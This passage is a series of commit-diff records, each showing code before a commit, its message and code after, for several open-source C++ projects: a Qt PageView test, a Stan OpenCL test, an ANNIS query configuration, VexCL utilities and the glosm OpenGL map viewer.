);\r\n\t\t\tQTest::mouseRelease( &p, Qt::LeftButton, {}, pos, 20 );\r\n\t\t}\r\n\r\n\t\tQTest::qWait( 350 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 1 );\r\n\r\n\t\tp.removeWidget( &w3 );\r\n\r\n\t\tQVERIFY( p.count() == 2 );\r\n\r\n\t\tQVERIFY( p.widget( 1 ) == &w2 );\r\n\t}\r\n};\r\n\r\n\r\nQTEST_MAIN( TestPageView )\r\n\r\n#include \"main.moc\"\r\n<commit_msg>Set bigger delays.<commit_after>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Qt include.\r\n#include <QObject>\r\n#include <QtTest\/QtTest>\r\n#include <QSharedPointer>\r\n#include <QLabel>\r\n\r\n\/\/ QtMWidgets include.\r\n#include <QtMWidgets\/PageView>\r\n\r\n\r\nclass TestPageView\r\n\t:\tpublic QObject\r\n{\r\n\tQ_OBJECT\r\n\r\nprivate slots:\r\n\r\n\tvoid testView()\r\n\t{\r\n\t\tQtMWidgets::PageView p;\r\n\t\tp.show();\r\n\r\n\t\tQVERIFY( QTest::qWaitForWindowActive( &p ) );\r\n\r\n\t\tQVERIFY( p.currentIndex() == -1 );\r\n\t\tQVERIFY( p.count() == 0 );\r\n\t\tQVERIFY( p.showPageControl() == true );\r\n\r\n\t\tp.setShowPageControl( false );\r\n\r\n\t\tQVERIFY( p.showPageControl() == false );\r\n\r\n\t\tp.resize( 300, 300 );\r\n\r\n\t\tQLabel w1( QStringLiteral( \"1\" ) );\r\n\r\n\t\tauto f = w1.font();\r\n\t\tf.setPixelSize( 100 );\r\n\t\tf.setBold( true );\r\n\r\n\t\tw1.setFont( f );\r\n\t\tw1.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tp.addWidget( &w1 );\r\n\r\n\t\tQVERIFY( p.count() == 1 );\r\n\t\tQVERIFY( p.currentIndex() == 0 );\r\n\t\tQVERIFY( p.currentWidget() == &w1 );\r\n\t\tQVERIFY( p.indexOf( &w1 ) == 0 );\r\n\t\tQVERIFY( p.widget( 0 ) == &w1 );\r\n\r\n\t\tQLabel w2( QStringLiteral( \"2\" ) );\r\n\t\tw2.setFont( f );\r\n\t\tw2.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tp.addWidget( &w2 );\r\n\r\n\t\tp.setCurrentWidget( &w2 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 1 );\r\n\r\n\t\tQLabel w3( QStringLiteral( \"3\" ) );\r\n\t\tw3.setFont( f );\r\n\t\tw3.setAlignment( Qt::AlignCenter );\r\n\r\n\t\tQTest::qWait( 350 );\r\n\r\n\t\tp.addWidget( &w3 );\r\n\r\n\t\t{\r\n\t\t\tconst auto c = p.rect().center() - QPoint( p.rect().width() \/ 3, 0 );\r\n\t\t\tQTest::mousePress( &p, Qt::LeftButton, {}, c, 20 );\r\n\t\t\tconst auto pos = c -\r\n\t\t\t\tQPoint( p.rect().width() - p.rect().width() \/ 4, 0 );\r\n\t\t\tQMouseEvent me( QEvent::MouseMove, pos, Qt::LeftButton, Qt::LeftButton, {} );\r\n\t\t\tQApplication::sendEvent( &p, &me );\r\n\t\t\tQTest::mouseRelease( &p, Qt::LeftButton, {}, pos, 20 );\r\n\t\t}\r\n\r\n\t\tQTest::qWait( 1000 );\r\n\r\n\t\tQVERIFY( p.currentWidget() == &w3 );\r\n\r\n\t\t{\r\n\t\t\tconst auto c = p.rect().center() - QPoint( p.rect().width() \/ 3, 0 );\r\n\t\t\tQTest::mousePress( &p, Qt::LeftButton, {}, c, 20 );\r\n\t\t\tconst auto pos = c +\r\n\t\t\t\tQPoint( p.rect().width() - p.rect().width() \/ 4, 0 );\r\n\t\t\tQMouseEvent me( QEvent::MouseMove, pos, Qt::LeftButton, Qt::LeftButton, {} );\r\n\t\t\tQApplication::sendEvent( &p, &me );\r\n\t\t\tQTest::mouseRelease( &p, Qt::LeftButton, {}, pos, 20 );\r\n\t\t}\r\n\r\n\t\tQTest::qWait( 1000 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 1 );\r\n\r\n\t\tp.removeWidget( &w3 );\r\n\r\n\t\tQVERIFY( p.count() == 2 );\r\n\r\n\t\tQVERIFY( p.widget( 1 ) == &w2 );\r\n\t}\r\n};\r\n\r\n\r\nQTEST_MAIN( TestPageView )\r\n\r\n#include \"main.moc\"\r\n<|endoftext|>"} {"text":"<commit_before>#include <stan\/math\/prim\/mat.hpp>\n#include <stan\/math\/prim\/arr.hpp>\n#include <gtest\/gtest.h>\n\nTEST(ErrorHandlingOpenCL, checkThrows) {\n const char* function = \"test_func\";\n const char* msg = \"test\";\n EXPECT_THROW(stan::math::throw_openCL(function, msg), std::domain_error);\n}\n<commit_msg>ignore opencl test on travis<commit_after>#ifdef STAN_OPENCL\n#include <stan\/math\/prim\/mat.hpp>\n#include <stan\/math\/prim\/arr.hpp>\n#include <gtest\/gtest.h>\n\nTEST(ErrorHandlingOpenCL, checkThrows) {\n const char* function = \"test_func\";\n const char* msg = \"test\";\n EXPECT_THROW(stan::math::throw_openCL(function, msg), std::domain_error);\n}\n#else\nTEST(ErrorHandlingOpenCL, checkThrows) {\n int a;\n EXPECT_NO_THROW(a = 1);\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright 2017 Thomas Krause <thomaskrause@posteo.de>\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"queryconfig.h\"\n#include \"annis\/types.h\" \/\/ for Component\n\n\nannis::QueryConfig::QueryConfig()\n : optimize(true), forceFallback(false), avoidNestedBySwitch(true) ,\n numOfBackgroundTasks(0), enableTaskIndexJoin(false), enableThreadIndexJoin(false), enableSIMDIndexJoin(false), threadPool(nullptr)\n\n{\n\/\/ size_t numOfCPUs = std::thread::hardware_concurrency();\n\/\/ if(numOfCPUs > 0)\n\/\/ {\n\/\/ numOfBackgroundTasks = numOfCPUs-1;\n\/\/ threadPool = std::make_shared<ThreadPool>(numOfBackgroundTasks);\n\/\/ }\n}\n<commit_msg>Automatically enable SIMDIndexJoin in QueryConfig if current hardware supports it.<commit_after>\/*\n Copyright 2017 Thomas Krause <thomaskrause@posteo.de>\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"queryconfig.h\"\n#include \"annis\/types.h\" \/\/ for Component\n\n#include <Vc\/global.h>\n#include <Vc\/support.h>\n\nannis::QueryConfig::QueryConfig()\n : optimize(true), forceFallback(false), avoidNestedBySwitch(true) ,\n numOfBackgroundTasks(0), enableTaskIndexJoin(false), enableThreadIndexJoin(false), enableSIMDIndexJoin(false), threadPool(nullptr)\n\n{\n if(Vc::isImplementationSupported(Vc::Implementation::AVX2Impl))\n {\n enableSIMDIndexJoin = true;\n }\n\n\/\/ size_t numOfCPUs = std::thread::hardware_concurrency();\n\/\/ if(numOfCPUs > 0)\n\/\/ {\n\/\/ numOfBackgroundTasks = numOfCPUs-1;\n\/\/ threadPool = std::make_shared<ThreadPool>(numOfBackgroundTasks);\n\/\/ }\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef VEXCL_UTIL_HPP\n#define VEXCL_UTIL_HPP\n\n\/*\nThe MIT License\n\nCopyright (c) 2012-2014 Denis Demidov <dennis.demidov@gmail.com>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/**\n * \\file vexcl\/util.hpp\n * \\author Denis Demidov <dennis.demidov@gmail.com>\n * \\brief OpenCL general utilities.\n *\/\n\n#if defined(_MSC_VER) && ( defined(min) || defined(max) )\n# error Please define NOMINMAX macro globally in your project\n#endif\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <array>\n#include <tuple>\n#include <map>\n#include <stdexcept>\n#include <algorithm>\n#include <type_traits>\n\n#include <boost\/config.hpp>\n\n#ifdef BOOST_NO_VARIADIC_TEMPLATES\n# include <boost\/proto\/proto.hpp>\n# include <boost\/preprocessor\/repetition.hpp>\n# ifndef VEXCL_MAX_ARITY\n# define VEXCL_MAX_ARITY BOOST_PROTO_MAX_ARITY\n# endif\n#endif\n\nnamespace vex {\n\n\/\/\/ Check run-time condition.\n\/** Throws std::runtime_error if condition is false *\/\ntemplate <class Condition, class Message>\ninline void precondition(const Condition &condition, const Message &fail_message) {\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable: 4800)\n#endif\n if (!condition) throw std::runtime_error(fail_message);\n#ifdef _MSC_VER\n# pragma warning(pop)\n#endif\n}\n\n\/\/\/ Return next power of 2.\ninline size_t nextpow2(size_t x) {\n --x;\n x |= x >> 1U;\n x |= x >> 2U;\n x |= x >> 4U;\n x |= x >> 8U;\n x |= x >> 16U;\n return ++x;\n}\n\n\/\/\/ Align n to the next multiple of m.\ninline size_t alignup(size_t n, size_t m = 16U) {\n return (n + m - 1) \/ m * m;\n}\n\ntemplate <class T>\nstruct is_tuple : std::false_type {};\n\n\n#ifndef BOOST_NO_VARIADIC_TEMPLATES\n\ntemplate <class... Elem>\nstruct is_tuple < std::tuple<Elem...> > : std::true_type {};\n\n#else\n\n#define VEXCL_IS_TUPLE(z, n, unused) \\\n template <BOOST_PP_ENUM_PARAMS(n, class Elem)> \\\n struct is_tuple< \\\n std::tuple<BOOST_PP_ENUM_PARAMS(n, Elem)> > : std::true_type { \\\n };\n\nBOOST_PP_REPEAT_FROM_TO(1, VEXCL_MAX_ARITY, VEXCL_IS_TUPLE, ~)\n\n#undef VEXCL_IS_TUPLE\n\n#endif\n\n#ifndef BOOST_NO_VARIADIC_TEMPLATES\n\/\/\/ Create std::array from arguments\ntemplate <class T, class... Tail>\nstd::array<T, 1 + sizeof...(Tail)>\nmake_array(T t, Tail... tail) {\n std::array<T, 1 + sizeof...(Tail)> a = {{t, static_cast<T>(tail)...}};\n return a;\n}\n#else\n\n#define VEXCL_PRINT_PARAM(z, n, data) T ## n t ## n\n#define VEXCL_INIT_ARRAY(z, n, data) static_cast<T0>(t ## n)\n#define VEXCL_MAKE_ARRAY(z, n, data) \\\n template <BOOST_PP_ENUM_PARAMS(n, class T)> \\\n std::array<T0, n> make_array(BOOST_PP_ENUM(n, VEXCL_PRINT_PARAM, ~)) { \\\n std::array<T0, n> a = { { BOOST_PP_ENUM(n, VEXCL_INIT_ARRAY, ~) } }; \\\n return a; \\\n }\n\nBOOST_PP_REPEAT_FROM_TO(1, VEXCL_MAX_ARITY, VEXCL_MAKE_ARRAY, ~)\n\n#undef VEXCL_MAKE_ARRAY\n#undef VEXCL_INIT_ARRAY\n#undef VEXCL_PRINT_PARAM\n\n#endif\n\nstruct column_owner {\n const std::vector<size_t> ∂\n\n column_owner(const std::vector<size_t> &part) : part(part) {}\n\n size_t operator()(size_t c) const {\n return std::upper_bound(part.begin(), part.end(), c)\n - part.begin() - 1;\n }\n};\n\n} \/\/ namespace vex\n\n#endif\n<commit_msg>Check that _VARIADIC_MAX is at least 10<commit_after>#ifndef VEXCL_UTIL_HPP\n#define VEXCL_UTIL_HPP\n\n\/*\nThe MIT License\n\nCopyright (c) 2012-2014 Denis Demidov <dennis.demidov@gmail.com>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/**\n * \\file vexcl\/util.hpp\n * \\author Denis Demidov <dennis.demidov@gmail.com>\n * \\brief OpenCL general utilities.\n *\/\n\n#if defined(_MSC_VER)\n# if defined(min) || defined(max)\n# error Please define NOMINMAX macro globally in your project\n# endif\n# if defined(_VARIADIC_MAX) && (_VARIADIC_MAX < 10)\n# error Please define _VARIADIC_MAX=10 or greater in your project\n# endif\n#endif\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <array>\n#include <tuple>\n#include <map>\n#include <stdexcept>\n#include <algorithm>\n#include <type_traits>\n\n#include <boost\/config.hpp>\n\n#ifdef BOOST_NO_VARIADIC_TEMPLATES\n# include <boost\/proto\/proto.hpp>\n# include <boost\/preprocessor\/repetition.hpp>\n# ifndef VEXCL_MAX_ARITY\n# define VEXCL_MAX_ARITY BOOST_PROTO_MAX_ARITY\n# endif\n#endif\n\nnamespace vex {\n\n\/\/\/ Check run-time condition.\n\/** Throws std::runtime_error if condition is false *\/\ntemplate <class Condition, class Message>\ninline void precondition(const Condition &condition, const Message &fail_message) {\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable: 4800)\n#endif\n if (!condition) throw std::runtime_error(fail_message);\n#ifdef _MSC_VER\n# pragma warning(pop)\n#endif\n}\n\n\/\/\/ Return next power of 2.\ninline size_t nextpow2(size_t x) {\n --x;\n x |= x >> 1U;\n x |= x >> 2U;\n x |= x >> 4U;\n x |= x >> 8U;\n x |= x >> 16U;\n return ++x;\n}\n\n\/\/\/ Align n to the next multiple of m.\ninline size_t alignup(size_t n, size_t m = 16U) {\n return (n + m - 1) \/ m * m;\n}\n\ntemplate <class T>\nstruct is_tuple : std::false_type {};\n\n\n#ifndef BOOST_NO_VARIADIC_TEMPLATES\n\ntemplate <class... Elem>\nstruct is_tuple < std::tuple<Elem...> > : std::true_type {};\n\n#else\n\n#define VEXCL_IS_TUPLE(z, n, unused) \\\n template <BOOST_PP_ENUM_PARAMS(n, class Elem)> \\\n struct is_tuple< \\\n std::tuple<BOOST_PP_ENUM_PARAMS(n, Elem)> > : std::true_type { \\\n };\n\nBOOST_PP_REPEAT_FROM_TO(1, VEXCL_MAX_ARITY, VEXCL_IS_TUPLE, ~)\n\n#undef VEXCL_IS_TUPLE\n\n#endif\n\n#ifndef BOOST_NO_VARIADIC_TEMPLATES\n\/\/\/ Create std::array from arguments\ntemplate <class T, class... Tail>\nstd::array<T, 1 + sizeof...(Tail)>\nmake_array(T t, Tail... tail) {\n std::array<T, 1 + sizeof...(Tail)> a = {{t, static_cast<T>(tail)...}};\n return a;\n}\n#else\n\n#define VEXCL_PRINT_PARAM(z, n, data) T ## n t ## n\n#define VEXCL_INIT_ARRAY(z, n, data) static_cast<T0>(t ## n)\n#define VEXCL_MAKE_ARRAY(z, n, data) \\\n template <BOOST_PP_ENUM_PARAMS(n, class T)> \\\n std::array<T0, n> make_array(BOOST_PP_ENUM(n, VEXCL_PRINT_PARAM, ~)) { \\\n std::array<T0, n> a = { { BOOST_PP_ENUM(n, VEXCL_INIT_ARRAY, ~) } }; \\\n return a; \\\n }\n\nBOOST_PP_REPEAT_FROM_TO(1, VEXCL_MAX_ARITY, VEXCL_MAKE_ARRAY, ~)\n\n#undef VEXCL_MAKE_ARRAY\n#undef VEXCL_INIT_ARRAY\n#undef VEXCL_PRINT_PARAM\n\n#endif\n\nstruct column_owner {\n const std::vector<size_t> ∂\n\n column_owner(const std::vector<size_t> &part) : part(part) {}\n\n size_t operator()(size_t c) const {\n return std::upper_bound(part.begin(), part.end(), c)\n - part.begin() - 1;\n }\n};\n\n} \/\/ namespace vex\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2010-2011 Dmitry Marakasov\n *\n * This file is part of glosm.\n *\n * glosm is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * glosm is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with glosm. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <err.h>\n#include <sys\/time.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <getopt.h>\n\n#if defined(__APPLE__)\n#\tinclude <OpenGL\/gl.h>\n#\tinclude <GLUT\/glut.h>\n#else\n#\tinclude <GL\/gl.h>\n#\tinclude <GL\/glut.h>\n#endif\n\n#include <vector>\n#include <map>\n\n#include <glosm\/geomath.h>\n\n#include <glosm\/Math.hh>\n\n#include <glosm\/SphericalProjection.hh>\n#include <glosm\/MercatorProjection.hh>\n#include <glosm\/PreloadedXmlDatasource.hh>\n#include <glosm\/GeometryGenerator.hh>\n#include <glosm\/FirstPersonViewer.hh>\n#include <glosm\/GeometryLayer.hh>\n\n\/* as glut has no OO concept and no feature like setUserData,\n * please forgive me using global variables pointing to\n * stack data for now *\/\nFirstPersonViewer viewer;\nGeometryLayer* layer_p = NULL;\n\nint screenw = 1;\nint screenh = 1;\nint movementflags = 0;\nfloat speed = 200.0f;\nint lockheight = 0;\n\nstruct timeval prevtime, curtime, fpstime;\nint nframes = 0;\n\n\/* stuff that may eb changed with args *\/\nProjection proj = MercatorProjection();\nint tilelevel = -1;\n\nvoid Display(void) {\n\t\/* update scene *\/\n\tgettimeofday(&curtime, NULL);\n\tfloat dt = (float)(curtime.tv_sec - prevtime.tv_sec) + (float)(curtime.tv_usec - prevtime.tv_usec)\/1000000.0f;\n\n\t\/* render frame *\/\n\tglClearColor(0.5, 0.5, 0.5, 0.0);\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n\tif (layer_p) {\n\t\tif (tilelevel >= 0) {\n\t\t\tint radius = 5000000;\n\t\t\tlayer_p->RequestVisible(BBoxi(viewer.GetPos(MercatorProjection()) - Vector2i(radius, radius), viewer.GetPos(MercatorProjection()) + Vector2i(radius, radius)), 0);\n\t\t\tlayer_p->GarbageCollect();\n\t\t}\n\t\tlayer_p->Render(viewer);\n\t}\n\n\tglFlush();\n\tglutSwapBuffers();\n\n\t\/* movement *\/\n\tif (movementflags) {\n\t\tfloat myspeed = speed;\n\t\tfloat height = viewer.MutablePos().z \/ GEOM_UNITSINMETER;\n\n\t\t\/* don't scale down under 100 meters *\/\n\t\tif (height > 100.0)\n\t\t\tmyspeed *= height \/ 100.0;\n\n\t\tviewer.Move(movementflags, myspeed, dt);\n\t}\n\tif (lockheight != 0)\n\t\tviewer.MutablePos().z = lockheight;\n\n\t\/* update FPS *\/\n\tfloat fpst = (float)(curtime.tv_sec - fpstime.tv_sec) + (float)(curtime.tv_usec - fpstime.tv_usec)\/1000000.0f;\n\n\tif (fpst > 10.0) {\n\t\tfprintf(stderr, \"FPS: %.3f\\n\", (float)nframes\/fpst);\n\t\tfpstime = curtime;\n\t\tnframes = 0;\n\t}\n\n\tprevtime = curtime;\n\tnframes++;\n\n\t\/* frame limiter *\/\n\tusleep(10000);\n}\n\nvoid Reshape(int w, int h) {\n\tif (w <= 0)\n\t\tw = 1;\n\tif (h <= 0)\n\t\th = 1;\n\n\tscreenw = w;\n\tscreenh = h;\n\n\tfloat wanted_fov = 70.0f\/180.0f*M_PI;\n\tfloat wanted_aspect = 4.0f\/3.0f;\n\n\tfloat fov, aspect;\n\n\tif ((float)w\/(float)h > wanted_aspect) { \/\/ wider than wanted\n\t\tfov = wanted_fov;\n\t} else { \/\/ narrower than wanted\n\t\tfloat wanted_h = (float)w\/wanted_aspect;\n\t\tfov = 2.0f*atanf((float)h \/ wanted_h * tanf(wanted_fov\/2.0f));\n\t}\n\tfov = wanted_fov;\n\taspect = (float)w\/(float)h;\n\n\tglViewport(0, 0, w, h);\n\n\tviewer.SetFov(fov);\n\tviewer.SetAspect(aspect);\n\n\tglutWarpPointer(screenw\/2, screenh\/2);\n}\n\nvoid Mouse(int x, int y) {\n\tint dx = x - screenw\/2;\n\tint dy = y - screenh\/2;\n\n\tfloat YawDelta = (float)dx \/ 500.0;\n\tfloat PitchDelta = -(float)dy \/ 500.0;\n\n\tviewer.HardRotate(YawDelta, PitchDelta);\n\n\tif (dx != 0 || dy != 0)\n\t\tglutWarpPointer(screenw\/2, screenh\/2);\n}\n\nvoid SpecialDown(int key, int, int) {\n\tswitch (key) {\n\tcase GLUT_KEY_UP: movementflags |= FirstPersonViewer::FORWARD; break;\n\tcase GLUT_KEY_DOWN: movementflags |= FirstPersonViewer::BACKWARD; break;\n\tcase GLUT_KEY_LEFT: movementflags |= FirstPersonViewer::LEFT; break;\n\tcase GLUT_KEY_RIGHT: movementflags |= FirstPersonViewer::RIGHT; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid SpecialUp(int key, int, int) {\n\tswitch (key) {\n\tcase GLUT_KEY_UP: movementflags &= ~FirstPersonViewer::FORWARD; break;\n\tcase GLUT_KEY_DOWN: movementflags &= ~FirstPersonViewer::BACKWARD; break;\n\tcase GLUT_KEY_LEFT: movementflags &= ~FirstPersonViewer::LEFT; break;\n\tcase GLUT_KEY_RIGHT: movementflags &= ~FirstPersonViewer::RIGHT; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid KeyDown(unsigned char key, int, int) {\n\tswitch (key) {\n\tcase 27: case 'q': exit(0); break;\n\tcase 'w': movementflags |= FirstPersonViewer::FORWARD; break;\n\tcase 's': movementflags |= FirstPersonViewer::BACKWARD; break;\n\tcase 'a': movementflags |= FirstPersonViewer::LEFT; break;\n\tcase 'd': movementflags |= FirstPersonViewer::RIGHT; break;\n\tcase 'c': movementflags |= FirstPersonViewer::LOWER; break;\n\tcase ' ': movementflags |= FirstPersonViewer::HIGHER; break;\n\tcase 'l': lockheight = (lockheight == 0 ? viewer.MutablePos().z : 0); break;\n\tcase 'h': lockheight = (lockheight == 0 ? 1750 : 0); break;\n\tcase '+': speed *= 5.0f; break;\n\tcase '-': speed \/= 5.0f; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid KeyUp(unsigned char key, int, int) {\n\tswitch (key) {\n\tcase 'w': movementflags &= ~FirstPersonViewer::FORWARD; break;\n\tcase 's': movementflags &= ~FirstPersonViewer::BACKWARD; break;\n\tcase 'a': movementflags &= ~FirstPersonViewer::LEFT; break;\n\tcase 'd': movementflags &= ~FirstPersonViewer::RIGHT; break;\n\tcase 'c': movementflags &= ~FirstPersonViewer::LOWER; break;\n\tcase ' ': movementflags &= ~FirstPersonViewer::HIGHER; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid usage(const char* progname) {\n\tfprintf(stderr, \"Usage: %s [-s] file.osm\\n\", progname);\n\texit(1);\n}\n\nint real_main(int argc, char** argv) {\n\tglutInit(&argc, argv);\n\n\t\/* argument parsing *\/\n\tint c;\n\tconst char* progname = argv[0];\n\twhile ((c = getopt(argc, argv, \"st:\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 's': proj = SphericalProjection(); break;\n\t\tcase 't': tilelevel = strtol(optarg, NULL, 10); break;\n\t\tdefault:\n\t\t\tusage(progname);\n\t\t}\n\t}\n\n\targc -= optind;\n\targv += optind;\n\n\tif (argc != 1)\n\t\tusage(progname);\n\n\t\/* load data *\/\n\tfprintf(stderr, \"Loading...\\n\");\n\tPreloadedXmlDatasource osm_datasource;\n\tgettimeofday(&prevtime, NULL);\n\tosm_datasource.Load(argv[0]);\n\tgettimeofday(&curtime, NULL);\n\tfprintf(stderr, \"Loaded XML in %.3f seconds\\n\", (float)(curtime.tv_sec - prevtime.tv_sec) + (float)(curtime.tv_usec - prevtime.tv_usec)\/1000000.0f);\n\tprevtime = curtime;\n\tfpstime = curtime;\n\n\t\/* glut init *\/\n\tglutInitDisplayMode(GLUT_DEPTH | GLUT_DOUBLE | GLUT_RGBA | GLUT_MULTISAMPLE);\n\tglutInitWindowSize(800, 600);\n\tglutCreateWindow(\"glosm viewer\");\n\n\tglutIgnoreKeyRepeat(1);\n\tglutSetCursor(GLUT_CURSOR_NONE);\n\n\tglutDisplayFunc(Display);\n\tglutIdleFunc(Display);\n\tglutReshapeFunc(Reshape);\n\tglutPassiveMotionFunc(Mouse);\n\tglutKeyboardFunc(KeyDown);\n\tglutKeyboardUpFunc(KeyUp);\n\tglutSpecialFunc(SpecialDown);\n\tglutSpecialUpFunc(SpecialUp);\n\n\t\/* glosm init *\/\n\tGeometryGenerator geometry_generator(osm_datasource);\n\tGeometryLayer layer(proj, geometry_generator);\n\tif (tilelevel >= 0)\n\t\tlayer.SetTargetLevel(tilelevel);\n\telse\n\t\tlayer.RequestVisible(geometry_generator.GetBBox(), TileManager::EXPLICIT);\n\tlayer_p = &layer;\n\n\tint height = fabs((float)geometry_generator.GetBBox().top - (float)geometry_generator.GetBBox().bottom) \/ GEOM_LONSPAN * WGS84_EARTH_EQ_LENGTH * GEOM_UNITSINMETER \/ 10.0;\n\tviewer.SetPos(Vector3i(geometry_generator.GetCenter(), height));\n\tviewer.HardRotate(0, -M_PI_4);\n\n\t\/* main loop *\/\n\t\/* note that this never returns and objects created above\n\t * are never properly destroyed; should dump GLUT ASAP *\/\n\tglutMainLoop();\n\n\treturn 0;\n}\n\nint main(int argc, char** argv) {\n\ttry {\n\t\treturn real_main(argc, argv);\n\t} catch (std::exception &e) {\n\t\tfprintf(stderr, \"Exception: %s\\n\", e.what());\n\t} catch (...) {\n\t\tfprintf(stderr, \"Unknown exception\\n\");\n\t}\n\n\treturn 1;\n}\n<commit_msg>Remove unused include<commit_after>\/*\n * Copyright (C) 2010-2011 Dmitry Marakasov\n *\n * This file is part of glosm.\n *\n * glosm is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * glosm is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with glosm. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <sys\/time.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <getopt.h>\n\n#if defined(__APPLE__)\n#\tinclude <OpenGL\/gl.h>\n#\tinclude <GLUT\/glut.h>\n#else\n#\tinclude <GL\/gl.h>\n#\tinclude <GL\/glut.h>\n#endif\n\n#include <vector>\n#include 